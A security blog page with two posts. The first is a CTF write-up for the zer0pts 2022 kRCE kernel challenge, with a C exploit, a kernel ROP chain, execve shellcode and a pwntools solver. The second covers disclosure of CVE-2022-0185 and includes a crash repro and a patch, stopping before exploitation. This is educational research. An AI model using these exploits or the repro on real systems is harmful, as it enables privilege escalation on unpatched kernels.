Search This Blog

Sunday, March 20, 2022

zer0pts CTF 2022 kRCE writeup: Limited Userland Interface to Kernel RCE

kRCE was a kernel challenge from zer0pts 2022 with an interesting setup. Instead of a normal kernel pwnable, players got a userland heap note style interface that interacted with the driver. This prevents a lot of traditional kernel exploitation strategies since you can't spray structures for leaks (or RIP control) and target strings used in call_usermodehelper - the userland interface restricts you to only the 4 ioctls that interact with the driver.

Let's take a look at the challenge's provided source for vulnerabilities now.

In the userland interface we have the following:

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define CMD_NEW 0xeb15 #define CMD_EDIT 0xac1ba #define CMD_SHOW 0x7aba7a #define CMD_DEL 0x0da1ba typedef struct { unsigned int index; unsigned int size; char *data; } request_t; void fatal(const char *msg) { perror(msg); exit(1); } void add(int fd) { request_t req; printf("index: "); if (scanf("%u%*c", &req.index) != 1) exit(1); printf("size: "); if (scanf("%u%*c", &req.size) != 1) exit(1); if (ioctl(fd, CMD_NEW, &req)) puts("[-] Something went wrong"); else puts("[+] Successfully created"); } void edit(int fd) { request_t req; printf("index: "); if (scanf("%u%*c", &req.index) != 1) exit(1); printf("size: "); if (scanf("%u%*c", &req.size) != 1) exit(1); printf("data: "); req.data = malloc(req.size); if (!req.data) { puts("[-] Invalid size"); return; } for (unsigned int i = 0; i < req.size; i++) { if (scanf("%02hhx", &req.data[i]) != 1) exit(1); } if (ioctl(fd, CMD_EDIT, &req)) puts("[-] Something went wrong"); else puts("[+] Successfully updated"); free(req.data); } void show(int fd) { request_t req; printf("index: "); if (scanf("%u%*c", &req.index) != 1) exit(1); printf("size: "); if (scanf("%u%*c", &req.size) != 1) exit(1); req.data = malloc(req.size); if (!req.data) { puts("[-] Invalid size"); return; } if (ioctl(fd, CMD_SHOW, &req) < 0) puts("[-] Something went wrong"); else { printf("[+] Data: "); for (unsigned int i = 0; i < req.size; i++) { printf("%02hhx ", req.data[i]); } putchar('\n'); } free(req.data); } void del(int fd) { request_t req; printf("index: "); if (scanf("%u%*c", &req.index) != 1) exit(1); if (ioctl(fd, CMD_DEL, &req) < 0) puts("[-] Something went wrong"); else puts("[+] Successfully deleted"); } int main() { int bufd = open("/dev/buffer", O_RDWR | O_CLOEXEC); if (bufd == -1) fatal("/dev/buffer"); if (setregid(1337, 1337) == -1) fatal("setregid"); if (setreuid(1337, 1337) == -1) fatal("setreuid"); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); puts("1. add"); puts("2. edit"); puts("3. show"); puts("4. delete"); while (1) { int choice; printf("> "); if (scanf("%d%*c", &choice) != 1) exit(1); switch (choice) { case 1: add(bufd); break; case 2: edit(bufd); break; case 3: show(bufd); break; case 4: del(bufd); break; default: return 0; } } }

There aren't any bugs here, so you won't be able to escape from userland to a shell first. Note that the binary had PIE and was linked with uClibc.

The following is the kernel driver source:

#include <linux/module.h> #include <linux/kernel.h> #include <linux/cdev.h> #include <linux/fs.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <linux/random.h> #define DEVICE_NAME "buffer" #define BUF_NUM 0x10 #define CMD_NEW 0xeb15 #define CMD_EDIT 0xac1ba #define CMD_SHOW 0x7aba7a #define CMD_DEL 0x0da1ba MODULE_LICENSE("GPL"); MODULE_AUTHOR("ptr-yudai"); MODULE_DESCRIPTION("kRCE - zer0pts CTF 2022"); typedef struct { uint32_t index; uint32_t size; char *data; } request_t; char *buffer[BUF_NUM]; long buffer_new(uint32_t index, uint32_t size) { if (index >= BUF_NUM) return -EINVAL; if (!(buffer[index] = (char*)kzalloc(size, GFP_KERNEL))) return -EINVAL; return 0; } long buffer_del(uint32_t index) { if (index >= BUF_NUM) return -EINVAL; if (!buffer[index]) return -EINVAL; kfree(buffer[index]); buffer[index] = NULL; return 0; } long buffer_edit(int32_t index, char *data, int32_t size) { if (index >= BUF_NUM) return -EINVAL; if (!buffer[index]) return -EINVAL; if (copy_from_user(buffer[index], data, size)) return -EINVAL; return 0; } long buffer_show(int32_t index, char *data, int32_t size) { if (index >= BUF_NUM) return -EINVAL; if (!buffer[index]) return -EINVAL; if (copy_to_user(data, buffer[index], size)) return -EINVAL; return 0; } static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { request_t req; if (copy_from_user(&req, (void*)arg, sizeof(request_t))) return -EINVAL; switch (cmd) { case CMD_NEW : return buffer_new (req.index, req.size); case CMD_EDIT: return buffer_edit(req.index, req.data, req.size); case CMD_SHOW: return buffer_show(req.index, req.data, req.size); case CMD_DEL : return buffer_del (req.index); default: return -EINVAL; } } static struct file_operations module_fops = { .owner = THIS_MODULE, .unlocked_ioctl = module_ioctl, }; static dev_t dev_id; static struct cdev c_dev; static int __init module_initialize(void) { if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) { printk(KERN_WARNING "Failed to register device\n"); return -EBUSY; } cdev_init(&c_dev, &module_fops); c_dev.owner = THIS_MODULE; if (cdev_add(&c_dev, dev_id, 1)) { printk(KERN_WARNING "Failed to add cdev\n"); unregister_chrdev_region(dev_id, 1); return -EBUSY; } return 0; } static void __exit module_cleanup(void) { cdev_del(&c_dev); unregister_chrdev_region(dev_id, 1); } module_init(module_initialize); module_exit(module_cleanup);

Edit and show allow for arbitrary out of bounds read and write on the kernel heap. There is another more powerful bug too that let us completely ignore this overflow bug. Even though index is an unsigned integer in the request struct, it gets passed into edit and show as a signed int, effectively giving us a negative indexing primitive into the buffer array as it doesn't check lower bounds. Note that the kernel also has the classic modern mitigations of KASLR, KPTI, SMEP, and SMAP. 

For debugging's sake, I removed the interface portion and had the init script drop me a shell locally. It should be pretty trivial to convert a C exploit that only uses the 4 ioctls into a pwntools interaction script with the userland interface.

My first goal was to achieve a module leak. When analyzing the module in memory, it's interesting to note that the driver's module struct is 16 bytes above the buffer array. 

0xffffffffc02ae300: 0x0000000000000000 0xffffffffc02ae2b8 0xffffffffc02ae310: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae320: 0x0000000000001000 0x0000000000000002 0xffffffffc02ae330: 0xffffffffb12b47a0 0xffffffffb12b47a0 0xffffffffc02ae340: 0xffffffffc02ae100 0xffffffffc02ae350 0xffffffffc02ae350: 0xffffffffc02af000 0x0000000000000008 0xffffffffc02ae360: 0xffffffffc02af0c0 0xffffffffc02af11a 0xffffffffc02ae370: 0xffffa426c19c7000 0xffffa426c19dc400 0xffffffffc02ae380: 0xffffa426c18f6b48 0x0000000000000000 0xffffffffc02ae390: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae3a0: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae3b0: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae3c0: 0xffffffffc02ae3c0 0xffffffffc02ae3c0 0xffffffffc02ae3d0: 0xffffffffc02ae3d0 0xffffffffc02ae3d0 0xffffffffc02ae3e0: 0xffffffffc02ac1fb 0x0000000000000001 0xffffffffc02ae3f0: 0x0000000000000000 0x0000000000000000 --------------------------buffer-------------------------- 0xffffffffc02ae400: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae410: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae420: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae430: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae440: 0x0000000000000000 0x0000000000000000

The ending of a module struct has some nice features for us. There is a linked list of dependency and dependee modules. Because this driver is all by itself, these pointers all point back to themselves. If we have the show ioctl index into memory address 0xffffffffc02ae3c0, we would get a dump of data starting from that address itself. This would provide us with a module leak. Judging from /sys/module/buffer/sections/, offsets between the .data and .text region of the module are constant.

Now I need to achieve a KASLR leak given a module leak. To do this, I utilized the pointer in 0xffffffffc02ae3e0, which points to module_cleanup, the destructor function for this driver. When the kernel loads a module, it automatically patches in addresses for external kernel/module function calls. module_cleanup calls cdev_del, a kernel function, so I can grab a kernel text leak by arb reading its disassembly at run time and looking at the relative offset used in the call instruction.

Here is the C exploit so far: 

show(fd, -8, 0x40, buffer); hexprint(buffer, 0x40); uint64_t module_data_base = *(uint64_t *)&buffer[0] - 0x3c0; uint64_t module_text_base = module_data_base - 0x2000; printf("kernel module data base: 0x%llx\n", module_data_base); printf("kernel module text base: 0x%llx\n", module_text_base); show(fd, -4, 0x20, buffer); hexprint(buffer, 0x20); int32_t relative_rip = *(int32_t*)(&buffer[0xc]); uint64_t kernel_base = module_text_base + 0x20b + relative_rip - 0x14e240; printf("kernel base: 0x%llx\n", kernel_base);

Now we can work on building an arbitrary read and arbitrary write primitive. To do this, I used negative indexing into one of the earlier self pointers to overwrite index 1 of the buffer array to point to the address of index 0. This would allow me to easily forge addresses from index 1 to arbitrarily read and write via index 0.

uint64_t evil[] = {module_data_base+0x3c0, module_data_base+0x3c0, module_data_base+0x3d0, module_data_base+0x3d0, module_text_base+0x1fb, 1, 0, 0, 0, module_data_base+0x400}; edit(fd, -8, sizeof(evil), (char *)&evil);

Arbitrary read and write in the kernel with KASLR bypassed… this should be quite trivial to pwn now right? Unfortunately, this is where the limited userland heap note interface affects us. As mentioned earlier, we can’t overwrite strings used in call_usermodehelper; if you were to overwrite for example modprobe_path or core_pattern, how could you trigger it from the safe userland interface? The classic privilege escalation ROP payload with just commit_creds wouldn’t work either as this heap interface doesn’t have a shell popping function to return to.

For now, I decided to first find the userland interface’s task struct as this could contain information that would lead to interesting avenues of exploitation. Even though the kernel doesn’t export data symbols, we can find task struct pretty easily based on start_kernel. As the interface is probably the last process launched, we can just walk once on the prev pointer in the tasks list_head. I can verify this via the comm field (which should hold the process name). In the snippet below, it is the name of my C exploit rather than the interface binary.

uint64_t init_task = kernel_base + 0xe12580; printf("init_task: 0x%llx\n", init_task); uint64_t task_ll = init_task + 0x2f8; edit(fd, 1, sizeof(uint64_t), &task_ll); uint64_t curr_task; show(fd, 0, sizeof(uint64_t), &curr_task); edit(fd, 1, sizeof(uint64_t), &curr_task); show(fd, 0, 0x500, buffer); assert(memmem(buffer, 0x500, "exploit", 7)); curr_task -= 0x2f0; printf("current task: 0x%llx\n", curr_task);

Looking at task_struct, I noticed an interesting field. Specifically there is a stack pointer that points to a location at a relatively close and constant offset from the value of rsp in kernel when our specific userland process triggers a switch into kernel mode. There’s probably more to the field than just this, but it’s enough for our exploitation purposes.

With that field, we should be able to ROP when the module ioctl handler returns. I made my ROP chain escalate creds, change permissions of the userland process to rwx, and write our own shellcode into it before having the handler trampoline back. This would allow us to pop a shell on the safe userland interface as we just rewrote its memory from kernelspace.

One last issue is that the userland binary has ASLR and PIE. To find out the addresses to abuse in userland, we can arb read the kernel stack during an ioctl as syscall handlers would have pushed userspace registers. We can easily grab a userland PIE (or userland ASLR library address) and stack pointer from this.

uint64_t stack_ptr = curr_task + 0x20; uint64_t stack = 0; edit(fd, 1, sizeof(uint64_t), &stack_ptr); show(fd, 0, sizeof(uint64_t), &stack); printf("current thread stack: 0x%llx\n", stack); uint64_t syscall_stack = stack + 0x3e88; edit(fd, 1, sizeof(uint64_t), &syscall_stack); show(fd, 0, 0x150, buffer); hexprint(buffer, 0x150); uint64_t userland_pie = 0; uint64_t userland_stack = 0; memcpy(&userland_pie, &buffer[0x128], sizeof(uint64_t)); memcpy(&userland_stack, &buffer[0x130], sizeof(uint64_t)); printf("userland pie: 0x%llx\n", userland_pie); printf("userland stack: 0x%llx\n", userland_stack);

From here on out, the exploit will be quite simple. We want to commit_creds(init_cred), utilize do_mprotect_pkey to make our leaked userland PIE’s page rwx (this is the internal function used by __x64_sys_mprotect), and then copy_to_user shellcode there. To store shellcode for the kernel to user copy, I allocated a buffer from driver to store it and leaked its heap address. After those ROP chain operations, I utilized the classic kpti trampoline from swapgs_restore_regs_and_return_to_usermode to return back to our rwx page.

Here is the final snippet of the C exploit:

uint64_t sc_leaker = module_data_base + 0x410; add(fd, 2, 0x1000); edit(fd, 1, sizeof(uint64_t), &sc_leaker); char sc_buf[0x1000] = {0x0}; memset(sc_buf, 0x90, sizeof(sc_buf)); char sc[] = "\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x48\x89\xE7\x6A\x00\x57\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE6\x6A\x00\x48\x89\xE2\x0F\x05"; memcpy(&sc_buf[sizeof(sc_buf) - 1 - sizeof(sc)], sc, sizeof(sc)); edit(fd, 2, sizeof(sc_buf), sc_buf); uint64_t sc_leak = 0; show(fd, 0, sizeof(uint64_t), &sc_leak); printf("shellcode buffer leak: 0x%llx\n", sc_leak); uint64_t stored_rip = stack + 0x3eb0; edit(fd, 1, sizeof(uint64_t), &syscall_stack); uint64_t kpti_trampoline = kernel_base + (0xffffffff81800e10ull - 0xffffffff81000000ull) + 0x16; uint64_t copy_to_user = kernel_base + (0xffffffff81269780ull - 0xffffffff81000000ull); uint64_t do_mprotect_pkey = kernel_base + (0xffffffff811224f0 - 0xffffffff81000000ull); uint64_t poprdi = kernel_base + (0xffffffff8114078aull - 0xffffffff81000000ull); uint64_t poprsi = kernel_base + (0xffffffff810ce28eull - 0xffffffff81000000ull); uint64_t poprdx = kernel_base + (0xffffffff81145369ull - 0xffffffff81000000ull); uint64_t poprcx = kernel_base + (0xffffffff810eb7e4ull - 0xffffffff81000000ull); uint64_t init_cred = kernel_base + (0xffffffff81e37a60ull - 0xffffffff81000000ull); uint64_t commit_cred = kernel_base + (0xffffffff810723c0ull - 0xffffffff81000000ull); printf("do_mprotect_pkey: 0x%llx\n", do_mprotect_pkey); uint64_t rop[] = { poprdi, (userland_pie & 0xfffffffffffff000), poprsi, 0x1000, poprdx, 7, poprcx, 0xffffffffffffffff, do_mprotect_pkey, poprdi, (userland_pie & 0xfffffffffffff000), poprsi, sc_leak, poprdx, 0x1000, copy_to_user, poprdi, init_cred, commit_cred, kpti_trampoline, 0xbaadf00d, 0xdeadbeef, (userland_pie & 0xfffffffffffff000), 0x33, 0x200, userland_stack, 0x2b, }; edit(fd, 0, sizeof(rop), &rop);

My teammate Ryaagard helped port it over to Python pwntools script to interface with the remote instance. Here is our final solver:

#!/usr/bin/env python3 from pwn import * binary = "./interface" elf = context.binary = ELF(binary) context.newline = b'\r\n' sla = lambda x, y: p.sendlineafter(x, y) sl = lambda x: p.sendline(x) ru = lambda x: p.recvuntil(x) def add(index, size): sla('> ', '1') sla('index: ', str(index)) sla('size: ', str(size)) def edit(index, data): buf = '' for b in data: buf += str(hex(b)[2:].rjust(2, '0')) sla('> ', '2') sla('index: ', str(index)) sla('size: ', str(len(buf)//2)) sla('data: ', buf) def show(index, size): sla('> ', '3') sla('index: ', str(index)) sla('size: ', str(size)) def free(index): sla('> ', '4') sla('index: ', str(index)) def getleak(): buf = b'' ru('Data: ') leak = ru('\n')[:-1].split() for b in leak: buf += p8(int(b, 16)) return buf p = remote("pwn3.ctf.zer0pts.com", 9009) cmd = ru('\n').strip().split() print(cmd) x = process(cmd) pow = x.recv().strip().split()[2] x.close() print(pow) ru('token: ') p.send(pow + b'\n') show(-8, 0x40) buf = getleak() print(hexdump(buf)) module_data_base = u64(buf[:8]) - 0x3c0 module_text_base = module_data_base - 0x2000 log.success('module_data_base: %#X' % module_data_base) log.success('module_text_base: %#X' % module_text_base) show(-4, 0x20) buf = getleak() print(hexdump(buf)) relative_rip = u32(buf[0xc:0xc+4]) log.info('rel rip: %#X' % relative_rip) kernel_base = (module_text_base + 0x20b + relative_rip - 0x14e240) % 0xfff00000 | (0xffffffff << 32); kernel_base -= 0x10000000; log.success('kernel base: %#X' % kernel_base) evil = p64(module_data_base+0x3c0) * 2 evil += p64(module_data_base+0x3d0) * 2 evil += p64(module_text_base+0x1fb) evil += p64(1) evil += p64(0) * 3 evil += p64(module_data_base+0x400) print(hexdump(evil)) edit(-8, evil) init_task = kernel_base + 0xe12580; log.success('info_task: %#X' % init_task) task_ll = init_task + 0x2f8 edit(1, p64(task_ll)) show(0, 8) curr_task = u64(getleak()) edit(1, p64(curr_task)) show(0, 0x500) buf = getleak() assert b'interface' in buf curr_task -= 0x2f0 log.success('curr_task: %#X' % curr_task) stack_ptr = curr_task + 0x20 edit(1, p64(stack_ptr)) show(0, 8) stack = u64(getleak()) log.success('stack ptr: %#X' % stack) syscall_stack = stack + 0x3e88 edit(1, p64(syscall_stack)) show(0, 0x150) buf = getleak() print(hexdump(buf)) userland_pie = u64(buf[0x128:0x130]) userland_stack = u64(buf[0x130:0x138]) log.success('userland_pie: %#x' % userland_pie) log.success('userland_stack: %#x' % userland_stack) sc_leaker = module_data_base + 0x410 add(2, 0x500) edit(1, p64(sc_leaker)) sc = b'\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x48\x89\xE7\x6A\x00\x57\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE6\x6A\x00\x48\x89\xE2\x0F\x05' sc_buf = sc.rjust(0x500, p8(0x90)) edit(2, sc_buf) show(0, 8) sc_leak = u64(getleak()) log.success('shellcode buffer leak: %#x' % sc_leak) stored_rip = stack + 0x3eb0 edit(1, p64(syscall_stack)) kpti_trampoline = kernel_base + (0xffffffff81800e10 - 0xffffffff81000000) + 0x16; copy_to_user = kernel_base + (0xffffffff81269780 - 0xffffffff81000000); do_mprotect_pkey = kernel_base + (0xffffffff811224f0 - 0xffffffff81000000); poprdi = kernel_base + (0xffffffff8114078a - 0xffffffff81000000); poprsi = kernel_base + (0xffffffff810ce28e - 0xffffffff81000000); poprdx = kernel_base + (0xffffffff81145369 - 0xffffffff81000000); poprcx = kernel_base + (0xffffffff810eb7e4 - 0xffffffff81000000); init_cred = kernel_base + (0xffffffff81e37a60 - 0xffffffff81000000); commit_cred = kernel_base + (0xffffffff810723c0 - 0xffffffff81000000); rop = b'' rop += p64(poprdi) rop += p64(userland_pie & 0xfffffffffffff000) rop += p64(poprsi) rop += p64(0x1000) rop += p64(poprdx) rop += p64(7) rop += p64(poprcx) rop += p64(0xffffffffffffffff) rop += p64(do_mprotect_pkey) rop += p64(poprdi) rop += p64(userland_pie & 0xfffffffffffff000) rop += p64(poprsi) rop += p64(sc_leak) rop += p64(poprdx) rop += p64(0x500) rop += p64(copy_to_user) rop += p64(poprdi) rop += p64(init_cred) rop += p64(commit_cred) rop += p64(kpti_trampoline) rop += p64(0xdeadbeef) rop += p64(0xcafebabe) rop += p64(userland_pie & 0xfffffffffffff000) rop += p64(0x33) rop += p64(0x200) rop += p64(userland_stack) rop += p64(0x2b) edit(0, rop) p.interactive()

And these are the results of running on remote:

When discussing solutions after the CTF, I heard of another really interesting approach to this from r4j on Super HexaGoN. Since initramfs loads into RAM, he just found a fixed offset from the heap onto portions of the filesystem to attack and edit busybox.

Overall, kRCE was quite a fun and unique challenge! zer0pts CTF 2022 definitely had some of the best CTF pwnables for the past few months. As always, feel free to point out any mistakes I may have made and ask any questions about the writeup!

Tuesday, January 25, 2022

CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers

Recently, several friends on my CTF team Crusaders of Rust and I found a Linux kernel heap overflow 0-day. We found the bug through fuzzing with syzkaller and we quickly developed it into an Ubuntu LPE exploit. Afterwards, we rewrote it to escape and root Google’s hardened Kubernetes CTF infrastructure. This bug affects all kernel versions since 5.1 (5.16 is in progress currently), and has been assigned CVE-2022-0185. We have already disclosed this to the Linux security and distro mailing list, and the bug has been patched as of this article’s release. Before I continue, I would like to give several acknowledgements for those who worked with me.

A huge shoutout must go to clubby789, Day91, and ryaagard. Thanks must go to all of them (especially ryaagard for porting the exploit to Ubuntu 20.04), for working with me on the exploit for several days straight. As an extra fun tidbit of information, Day is only 15 at the time of writing this exploit… I can’t wait to see what he will do in a few years!

Further thanks must go to chop0 for finding this bug and setting up our private fuzzing infrastructure, and ginkoid for giving us ideas for container escapes and setting up our testing infrastructure.

One last thing to mention is that this bounty submission was actually a bug collision. During the disclosure process, we found out that n0psledbyte from the Singaporean VR firm StarLabs actually found the same bug earlier. Since we were the first to properly report and disclose it, Google was still nice enough to grant us a sizeable bounty - thanks to sirdarckcat for helping us out with the bug collision situation.

Beginning 2022, our teamates were resolved to find a 0 day in 2022. We weren’t really sure how exactly to get started, but since our team had a high degree of familiarity with Linux kernel exploits, we decided to just purchase some dedicated servers and run Google’s syzkaller fuzzer. On January 6th at 22:30 PST, chop0 hit the following report on a KASAN failure in legacy_parse_paramslab-out-of-bounds Write in legacy_parse_param. It seems like syzbot found this issue just 6 days earlier when fuzzing Android, but the issue was left unhandled and we naively thought no one else took notice.

The following was the crash log:

BUG: KASAN: slab-out-of-bounds in legacy_parse_param+0x450/0x640 fs/fs_context.c:569 Write of size 1 at addr ffff88802d7d9000 by task syz-executor.12/386100 CPU: 3 PID: 386100 Comm: syz-executor.12 Not tainted 5.14.0 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x4d/0x66 lib/dump_stack.c:105 print_address_description.constprop.0+0x21/0x140 mm/kasan/report.c:233 __kasan_report mm/kasan/report.c:419 [inline] kasan_report.cold+0x7f/0x11b mm/kasan/report.c:436 legacy_parse_param+0x450/0x640 fs/fs_context.c:569 vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146 vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265 __do_sys_fsconfig fs/fsopen.c:439 [inline] __se_sys_fsconfig fs/fsopen.c:314 [inline] __x64_sys_fsconfig+0x6a6/0x7a0 fs/fsopen.c:314 do_syscall_x64 arch/x86/entry/common.c:50 [inline] do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x44/0xae RIP: 0033:0x7fe8eeb7489d Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fe8edcc5c28 EFLAGS: 00000246 ORIG_RAX: 00000000000001af RAX: ffffffffffffffda RBX: 00007fe8eec94030 RCX: 00007fe8eeb7489d RDX: 0000000020000040 RSI: 0000000000000001 RDI: 0000000000000003 RBP: 00007fe8eebe100d R08: 0000000000000000 R09: 0000000000000000 R10: 0000000020000800 R11: 0000000000000246 R12: 0000000000000000 R13: 00007ffd8112faef R14: 00007fe8eec94030 R15: 00007fe8edcc5dc0 Allocated by task 386092: kasan_save_stack+0x1b/0x40 mm/kasan/common.c:38 kasan_set_track mm/kasan/common.c:46 [inline] set_alloc_info mm/kasan/common.c:434 [inline] ____kasan_kmalloc mm/kasan/common.c:513 [inline] __kasan_kmalloc+0x7c/0x90 mm/kasan/common.c:522 kmalloc include/linux/slab.h:591 [inline] legacy_parse_param+0x3e2/0x640 fs/fs_context.c:559 vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146 vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265 __do_sys_fsconfig fs/fsopen.c:439 [inline] __se_sys_fsconfig fs/fsopen.c:314 [inline] __x64_sys_fsconfig+0x6a6/0x7a0 fs/fsopen.c:314 do_syscall_x64 arch/x86/entry/common.c:50 [inline] do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x44/0xae netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'. netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'. netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'. netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'. autofs4:pid:386120:autofs_fill_super: called with bogus options autofs4:pid:386117:autofs_fill_super: called with bogus options The buggy address belongs to the object at ffff88802d7d8000 which belongs to the cache kmalloc-4k of size 4096 The buggy address is located 0 bytes to the right of 4096-byte region [ffff88802d7d8000, ffff88802d7d9000) The buggy address belongs to the page: page:000000006784204d refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x2d7d8 head:000000006784204d order:3 compound_mapcount:0 compound_pincount:0 flags: 0x100000000010200(slab|head|node=0|zone=1) raw: 0100000000010200 0000000000000000 0000000200000001 ffff888100043040 raw: 0000000000000000 0000000000040004 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88802d7d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff88802d7d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >ffff88802d7d9000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ^ ffff88802d7d9080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ffff88802d7d9100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

Fiddling around a bit with the C repro, we found the following snippet could trigger a crash reliably:

#define _GNU_SOURCE #include <sys/syscall.h> #include <stdio.h> #include <stdlib.h> #ifndef __NR_fsconfig #define __NR_fsconfig 431 #endif #ifndef __NR_fsopen #define __NR_fsopen 430 #endif #define FSCONFIG_SET_STRING 1 #define fsopen(name, flags) syscall(__NR_fsopen, name, flags) #define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux) int main(void) { char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; int fd = 0; fd = fsopen("9p", 0); if (fd < 0) { puts("Opening"); exit(-1); } for (int i = 0; i < 5000; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0); } return 0; }

Now, what exactly is causing the overflow? First of all, what is this fsconfig syscall? According to the patch that brought it in:

Add a syscall for configuring a filesystem creation context and triggering actions upon it, to be used in conjunction with fsopen, fspick and fsmount.

For arguments, we need to pass in a file descriptor, along with the cmd FSCONFIG_SET_STRING and 2 strings for key and value to reach the region of the crash. Per the patch notes for using FSCONFIG_SET_STRING, the value must point to a null terminated string, and the final argument (the auxiliary value) must be 0. Let’s go through the path of the stack trace, starting at vfs_fsconfig_locked. Nothing really pertinent to the bug is here, besides knowing that the default case in its switch statement leads to vs_parse_fs_param. Note how it calls the parse_param function pointer from the ops field of the fs_context pointer. As defined by the legacy_fs_context_ops structure, this function pointer is what points to legacy_parse_param.

What exactly determines if something is “legacy?” When allocating a filesystem context structure in alloc_fs_context, the following happens: 

/* TODO: Make all filesystems support this unconditionally */ init_fs_context = fc->fs_type->init_fs_context; if (!init_fs_context) init_fs_context = legacy_init_fs_context;

fs_type is of the type struct file_system_type. Looking at references to the file_system_type struct, we see a whole list from different files that handle different file_systems. The one we abused in our exploit was ext4. Our original fuzzing crash happened on the Plan 9 filesystem. It seems like in both of these (and a ton of other file systems) don’t have the init_fs_context field set so they all default to legacy and can go down the path of legacy_parse_param.

Let’s take a look at the offending function legacy_parse_param

static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param) { struct legacy_fs_context *ctx = fc->fs_private; unsigned int size = ctx->data_size; size_t len = 0; int ret; ret = vfs_parse_fs_param_source(fc, param); if (ret != -ENOPARAM) return ret; if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS) return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options"); switch (param->type) { case fs_value_is_string: len = 1 + param->size; fallthrough; case fs_value_is_flag: len += strlen(param->key); break; default: return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported", param->key); } if (len > PAGE_SIZE - 2 - size) return invalf(fc, "VFS: Legacy: Cumulative options too large"); if (strchr(param->key, ',') || (param->type == fs_value_is_string && memchr(param->string, ',', param->size))) return invalf(fc, "VFS: Legacy: Option '%s' contained comma", param->key); if (!ctx->legacy_data) { ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); if (!ctx->legacy_data) return -ENOMEM; } ctx->legacy_data[size++] = ','; len = strlen(param->key); memcpy(ctx->legacy_data + size, param->key, len); size += len; if (param->type == fs_value_is_string) { ctx->legacy_data[size++] = '='; memcpy(ctx->legacy_data + size, param->string, param->size); size += param->size; } ctx->legacy_data[size] = '\0'; ctx->data_size = size; ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS; return 0; }

Given that your value points to a string, it will factor in both the length of the value string and the key string. If this is the first time hitting this region (basically if legacy data hasn't been allocated yet), a 4k chunk will be allocated for it. It sets a ",", copies over the key, sets an "=" sign, and then copies over the value of your data before null termination. Well, how can we overflow? You can see the bound check to prevent overflows:

if (len > PAGE_SIZE - 2 - size) return invalf(fc, "VFS: Legacy: Cumulative options too large");

While this bound check will suffice for most cases, if your size is 4095 bytes or greater, an integer underflow will occur as size in this case is an unsigned int. Hence, trigger the underflow there and you will get infinite heap overflow.

This bug popped up since 5.1-rc1. It’s important to note that you need the CAP_SYS_ADMIN capability to trigger it, but the permission only needs to be granted in the CURRENT NAMESPACE. Most unprivileged users can just unshare(CLONE_NEWNS|CLONE_NEWUSER) (equivalent of the command unshare -Urm) to enter a namespace with the CAP_SYS_ADMIN permission, and abuse the bug from there; this is what makes this such a dangerous vulnerability.

Fixing this is a simple patch. Here’s the fix clubby789 developed and what we sent to the Linux kernel project.

diff --git a/fs/fs_context.c b/fs/fs_context.c index de1985eae..a195e516f 100644 --- a/fs/fs_context.c +++ b/fs/fs_context.c @@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param) param->key); } - if (len > PAGE_SIZE - 2 - size) + if (size + len + 2 > PAGE_SIZE) return invalf(fc, "VFS: Legacy: Cumulative options too large"); if (strchr(param->key, ',') ||

Ok, but who cares about the patch. Let’s talk about exploitation now :)

